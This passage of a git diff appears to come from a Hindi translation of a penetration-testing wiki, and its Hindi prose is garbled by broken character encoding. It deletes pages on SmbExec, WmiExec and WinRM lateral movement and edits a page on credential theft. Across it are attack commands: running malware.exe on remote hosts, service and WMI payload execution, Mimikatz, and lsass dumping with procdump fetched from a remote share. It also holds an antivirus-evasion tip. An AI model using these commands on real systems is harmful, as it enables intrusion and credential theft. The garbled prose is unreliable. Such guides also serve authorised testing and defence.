рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЖрд░рдВрдн рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред - -[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx). - -Find moe detailed steps in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -**рдЖрдк Windows Sysinternals рдмрд╛рдЗрдирд░реА PsExec.exe рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:** - -![](<../../images/image (165).png>) - -рдЖрдк [**SharpLateral**](https://github.com/mertdas/SharpLateral) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -``` -SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/smbexec.md b/src/windows-hardening/ntlm/smbexec.md deleted file mode 100644 index a1ae9198e..000000000 --- a/src/windows-hardening/ntlm/smbexec.md +++ /dev/null @@ -1,36 +0,0 @@ -# SmbExec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - -## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ - -**Smbexec** рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ Windows рд╕рд┐рд╕реНрдЯрдо рдкрд░ рджреВрд░рд╕реНрде рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, **Psexec** рдХреЗ рд╕рдорд╛рди, рд▓реЗрдХрд┐рди рдпрд╣ рд▓рдХреНрд╖рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХреЛрдИ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝рд╛рдЗрд▓реЗрдВ рдирд╣реАрдВ рд░рдЦрддрд╛ рд╣реИред - -### **SMBExec** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдореБрдЦреНрдп рдмрд┐рдВрджреБ - -- рдпрд╣ рд▓рдХреНрд╖рд┐рдд рдорд╢реАрди рдкрд░ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рд╕реЗрд╡рд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, "BTOBTO") рдмрдирд╛рдХрд░ cmd.exe (%COMSPEC%) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдмрд┐рдирд╛ рдХрд┐рд╕реА рдмрд╛рдЗрдирд░реА рдХреЛ рдЧрд┐рд░рд╛рдПред -- рдЗрд╕рдХреЗ рдЫрд┐рдкреЗ рд╣реБрдП рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд▓рд┐рдП рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдЧреИрд░-рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ "рд╢реЗрд▓" рдХрд╛ рдПрдХ рд░реВрдк рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -- **Smbexec** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд┐рдЦрддрд╛ рд╣реИ: -```bash -smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 -``` -### рдмрд╛рдЗрдирд░реА рдХреЗ рдмрд┐рдирд╛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ - -- **Smbexec** рд╕реЗрд╡рд╛ binPaths рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реАрдзреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд▓рдХреНрд╖реНрдп рдкрд░ рднреМрддрд┐рдХ рдмрд╛рдЗрдирд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред -- рдпрд╣ рд╡рд┐рдзрд┐ Windows рд▓рдХреНрд╖реНрдп рдкрд░ рдПрдХ рдмрд╛рд░ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ Metasploit рдХреЗ `web_delivery` рдореЙрдбреНрдпреВрд▓ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдиреЗ рд╕реЗ PowerShell-рд▓рдХреНрд╖рд┐рдд рд░рд┐рд╡рд░реНрд╕ рдореАрдЯрд░рдкреНрд░реАрдЯрд░ рдкреЗрд▓реЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред -- рд╣рдорд▓рд╛рд╡рд░ рдХреА рдорд╢реАрди рдкрд░ рдПрдХ рджреВрд░рд╕реНрде рд╕реЗрд╡рд╛ рдмрдирд╛рдХрд░ рдЬрд┐рд╕рдореЗрдВ binPath рдХреЛ cmd.exe рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкреЗрд▓реЛрдб рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, callback рдФрд░ рдкреЗрд▓реЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ Metasploit рд▓рд┐рд╕реНрдирд░ рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛, рднрд▓реЗ рд╣реА рд╕реЗрд╡рд╛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рд╣реЛрдВред - -### рдХрдорд╛рдВрдб рдЙрджрд╛рд╣рд░рдг - -рд╕реЗрд╡рд╛ рдмрдирд╛рдирд╛ рдФрд░ рд╢реБрд░реВ рдХрд░рдирд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -```bash -sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]" -sc start [ServiceName] -``` -рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## рд╕рдВрджрд░реНрдн - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/winrm.md b/src/windows-hardening/ntlm/winrm.md deleted file mode 100644 index a156c7e3d..000000000 --- a/src/windows-hardening/ntlm/winrm.md +++ /dev/null @@ -1,7 +0,0 @@ -# WinRM - -{{#include ../../banners/hacktricks-training.md}} - -[**WinRM рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдкрдврд╝реЗрдВ**](../../network-services-pentesting/5985-5986-pentesting-winrm.md). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/wmiexec.md b/src/windows-hardening/ntlm/wmiexec.md deleted file mode 100644 index 0501e1cd1..000000000 --- a/src/windows-hardening/ntlm/wmiexec.md +++ /dev/null @@ -1,110 +0,0 @@ -# WmiExec - -{{#include ../../banners/hacktricks-training.md}} - -## How It Works Explained - -рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЙрди рд╣реЛрд╕реНрдЯ рдкрд░ рдЦреЛрд▓реА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдЬрд╣рд╛рдБ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдпрд╛ рддреЛ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рд╣реИрд╢ рдЬреНрдЮрд╛рдд рд╣реИрдВ WMI рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред Wmiexec рджреНрд╡рд╛рд░рд╛ WMI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдПрдХ рдЕрд░реНрдз-рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд╢реЗрд▓ рдЕрдиреБрднрд╡ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред - -**dcomexec.py:** рд╡рд┐рднрд┐рдиреНрди DCOM рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ wmiexec.py рдХреЗ рд╕рдорд╛рди рдПрдХ рдЕрд░реНрдз-рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд╢реЗрд▓ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ ShellBrowserWindow DCOM рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдПред рдпрд╣ рд╡рд░реНрддрдорд╛рди рдореЗрдВ MMC20 рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдПрдкреНрд▓рд┐рдХреЗрд╢рди, рд╢реЗрд▓ рд╡рд┐рдВрдбреЛрдЬрд╝, рдФрд░ рд╢реЗрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╡рд┐рдВрдбреЛ рдСрдмреНрдЬреЗрдХреНрдЯред (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) - -## WMI Fundamentals - -### Namespace - -рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА-рд╢реИрд▓реА рдХреА рдкрджрд╛рдиреБрдХреНрд░рдо рдореЗрдВ рд╕рдВрд░рдЪрд┐рдд, WMI рдХрд╛ рд╢реАрд░реНрд╖-рд╕реНрддрд░реАрдп рдХрдВрдЯреЗрдирд░ \root рд╣реИ, рдЬрд┐рд╕рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЕрддрд┐рд░рд┐рдХреНрдд рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ, рдЬрд┐рдиреНрд╣реЗрдВ namespaces рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВред -Namespaces рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрджреЗрд╢: -```bash -# Retrieval of Root namespaces -gwmi -namespace "root" -Class "__Namespace" | Select Name - -# Enumeration of all namespaces (administrator privileges may be required) -Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace - -# Listing of namespaces within "root\cimv2" -Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace -``` -рдПрдХ рдирд╛рдорд╕реНрдерд╛рди рдХреЗ рднреАрддрд░ рдХрдХреНрд╖рд╛рдУрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: -```bash -gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified -gwmi -Namespace "root/microsoft" -List -Recurse -``` -### **рдХреНрд▓рд╛рд╕реЗрд╕** - -WMI рдХреНрд▓рд╛рд╕ рдирд╛рдо, рдЬреИрд╕реЗ win32_process, рдФрд░ рдЬрд┐рд╕ рдирд╛рдорд╕реНрдерд╛рди рдореЗрдВ рдпрд╣ рд╕реНрдерд┐рдд рд╣реИ, рдЬрд╛рдирдирд╛ рдХрд┐рд╕реА рднреА WMI рдСрдкрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред -`win32` рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдХреНрд▓рд╛рд╕реЗрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб: -```bash -Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2" -gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" -``` -рдХреНрд▓рд╛рд╕ рдХрд╛ рдЖрд╣реНрд╡рд╛рди: -```bash -# Defaults to "root/cimv2" when namespace isn't specified -Get-WmiObject -Class win32_share -Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus -``` -### Methods - -рд╡рд┐рдзрд┐рдпрд╛рдБ, рдЬреЛ WMI рдХрдХреНрд╖рд╛рдУрдВ рдХреЗ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХрд╛рд░реНрдп рд╣реИрдВ, рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -```bash -# Class loading, method listing, and execution -$c = [wmiclass]"win32_share" -$c.methods -# To create a share: $c.Create("c:\share\path","name",0,$null,"My Description") -``` - -```bash -# Method listing and invocation -Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) -``` -## WMI Enumeration - -### WMI рд╕реЗрд╡рд╛ рд╕реНрдерд┐рддрд┐ - -WMI рд╕реЗрд╡рд╛ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрджреЗрд╢: -```bash -# WMI service status check -Get-Service Winmgmt - -# Via CMD -net start | findstr "Instrumentation" -``` -### рд╕рд┐рд╕реНрдЯрдо рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛рдирдХрд╛рд░реА - -WMI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдЗрдХрдЯреНрдард╛ рдХрд░рдирд╛: -```bash -Get-WmiObject -ClassName win32_operatingsystem | select * | more -Get-WmiObject win32_process | Select Name, Processid -``` -рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП, WMI рд╕рд┐рд╕реНрдЯрдо рдпрд╛ рдбреЛрдореЗрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдЙрдкрдХрд░рдг рд╣реИред -```bash -wmic computerystem list full /format:list -wmic process list /format:list -wmic ntdomain list /format:list -wmic useraccount list /format:list -wmic group list /format:list -wmic sysaccount list /format:list -``` -WMI рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЬрд╛рдирдХрд╛рд░реА, рдЬреИрд╕реЗ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХ рдпрд╛ рд▓реЙрдЧ-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рджреВрд░рд╕реНрде рдХреНрд╡реЗрд░реА рдХрд░рдирд╛, рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдХрдорд╛рдВрдб рдирд┐рд░реНрдорд╛рдг рдХреЗ рд╕рд╛рде рд╕рдВрднрд╡ рд╣реИред - -### **рдореИрдиреБрдЕрд▓ рд░рд┐рдореЛрдЯ WMI рдХреНрд╡реЗрд░реАрд┐рдВрдЧ** - -рджреВрд░рд╕реНрде рдорд╢реАрди рдкрд░ рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдФрд░ рд▓реЙрдЧ-рдСрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЪреБрдкрдЪрд╛рдк рдкрд╣рдЪрд╛рди рд╡рд┐рд╢рд┐рд╖реНрдЯ WMI рдХреНрд╡реЗрд░рд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред `wmic` рдПрдХ рдЯреЗрдХреНрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдкрдврд╝рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рднреА рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╕рд╛рде рдХрдИ рдиреЛрдбреНрд╕ рдкрд░ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВред - -WMI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЬреИрд╕реЗ рдХрд┐ рдПрдХ рд╕рд╛рдореНрд░рд╛рдЬреНрдп рдПрдЬреЗрдВрдЯ рдХреЛ рддреИрдирд╛рдд рдХрд░рдирд╛, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рдлрд▓ рдирд┐рд╖реНрдкрд╛рджрди "0" рдХреЗ рд▓реМрдЯрдиреЗ рд╡рд╛рд▓реЗ рдорд╛рди рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреЗрддрд┐рдд рд╣реЛрддрд╛ рд╣реИ: -```bash -wmic /node:hostname /user:user path win32_process call create "empire launcher string here" -``` -рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ WMI рдХреА рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ рдкреНрд░рдгрд╛рд▓реА рдЧрдгрдирд╛ рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддреА рд╣реИ, рдЬреЛ рдкреНрд░рдгрд╛рд▓реА рдкреНрд░рд╢рд╛рд╕рди рдФрд░ рдкреЗрдирдЯреЗрд╕реНрдЯрд┐рдВрдЧ рджреЛрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИред - -## рд╕рдВрджрд░реНрдн - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг - -- [**SharpLateral**](https://github.com/mertdas/SharpLateral): -```bash -SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md index 0048a73de..89f1f842b 100644 --- a/src/windows-hardening/stealing-credentials/README.md +++ b/src/windows-hardening/stealing-credentials/README.md @@ -26,9 +26,9 @@ Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpa ``` [**рдпрд╣рд╛рдБ рдХреБрдЫ рд╕рдВрднрд╛рд╡рд┐рдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВред**](credentials-protections.md) **рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ Mimikatz рдХреЛ рдХреБрдЫ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдирд┐рдХрд╛рд▓рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддреА рд╣реИред** -## рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ рдХреЗ рд╕рд╛рде рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ +## рдореАрдЯрд░рдкреНрд░реЗрдЯрд░ рдХреЗ рд╕рд╛рде рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ -[**рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд▓рдЧрдЗрди**](https://github.com/carlospolop/MSF-Credentials) **рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ** рдЬреЛ рдореИрдВрдиреЗ **рд╢рд┐рдХрд╛рд░ рдХреЗ рдЕрдВрджрд░ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рд╣реИрд╢ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рд╣реИред** +[**рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд▓рдЧрдЗрди**](https://github.com/carlospolop/MSF-Credentials) **рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ** рдЬреЛ рдореИрдВрдиреЗ **рд╢рд┐рдХрд╛рд░ рдХреЗ рдЕрдВрджрд░ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рд╣реИрд╢ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП** рдмрдирд╛рдпрд╛ рд╣реИред ```bash #Credentials from SAM post/windows/gather/smart_hashdump @@ -51,12 +51,16 @@ mimikatz_command -f "lsadump::sam" рдЪреВрдВрдХрд┐ **Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**рдПрдХ рд╡реИрдз Microsoft рдЯреВрд▓ рд╣реИ**, рдЗрд╕реЗ Defender рджреНрд╡рд╛рд░рд╛ рдирд╣реАрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ред\ рдЖрдк рдЗрд╕ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ **lsass рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбрдВрдк рдХрд░рдиреЗ**, **рдбрдВрдк рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ** рдФрд░ **рдбрдВрдк рд╕реЗ** **рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +рдЖрдк [SharpDump](https://github.com/GhostPack/SharpDump) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash:Dump lsass #Local C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp #Remote, mount https://live.sysinternals.com which contains procdump.exe net use Z: https://live.sysinternals.com Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp +# Get it from webdav +\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` ```c:Extract credentials from the dump @@ -67,16 +71,16 @@ mimikatz # sekurlsa::logonPasswords ``` рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ [SprayKatz](https://github.com/aas-n/spraykatz) рдХреЗ рд╕рд╛рде рдХреА рдЬрд╛рддреА рд╣реИ: `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` -**рдиреЛрдЯ**: рдХреБрдЫ **AV** **malicious** рдХреЗ рд░реВрдк рдореЗрдВ **detect** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **procdump.exe to dump lsass.exe** рдХрд╛ рдЙрдкрдпреЛрдЧ, рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **"procdump.exe" рдФрд░ "lsass.exe"** рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ **detect** рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдпрд╣ **stealthier** рд╣реИ рдХрд┐ **argument** рдХреЗ рд░реВрдк рдореЗрдВ lsass.exe рдХрд╛ **PID** procdump рдХреЛ **pass** рдХрд┐рдпрд╛ рдЬрд╛рдП **name lsass.exe** рдХреЗ рдмрдЬрд╛рдпред +**рдиреЛрдЯ**: рдХреБрдЫ **AV** **malicious** рдХреЗ рд░реВрдк рдореЗрдВ **detect** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **procdump.exe to dump lsass.exe** рдХрд╛ рдЙрдкрдпреЛрдЧ, рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **"procdump.exe" рдФрд░ "lsass.exe"** рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ **detecting** рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдпрд╣ **stealthier** рд╣реИ рдХрд┐ **argument** рдХреЗ рд░реВрдк рдореЗрдВ lsass.exe рдХрд╛ **PID** procdump рдХреЛ **pass** рдХрд┐рдпрд╛ рдЬрд╛рдП **name lsass.exe рдХреЗ рдмрдЬрд╛рдпред** ### **comsvcs.dll** рдХреЗ рд╕рд╛рде lsass рдХреЛ рдбрдВрдк рдХрд░рдирд╛ -рдПрдХ DLL рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **comsvcs.dll** рд╣реИ, `C:\Windows\System32` рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣ рдПрдХ рдХреНрд░реИрд╢ рдХреА рд╕реНрдерд┐рддрд┐ рдореЗрдВ **dumping process memory** рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред рдЗрд╕ DLL рдореЗрдВ рдПрдХ **function** рд╣реИ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **`MiniDumpW`** рд╣реИ, рдЬрд┐рд╕реЗ `rundll32.exe` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреБрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред\ -рдкрд╣рд▓реЗ рджреЛ arguments рдХрд╛ рдЙрдкрдпреЛрдЧ 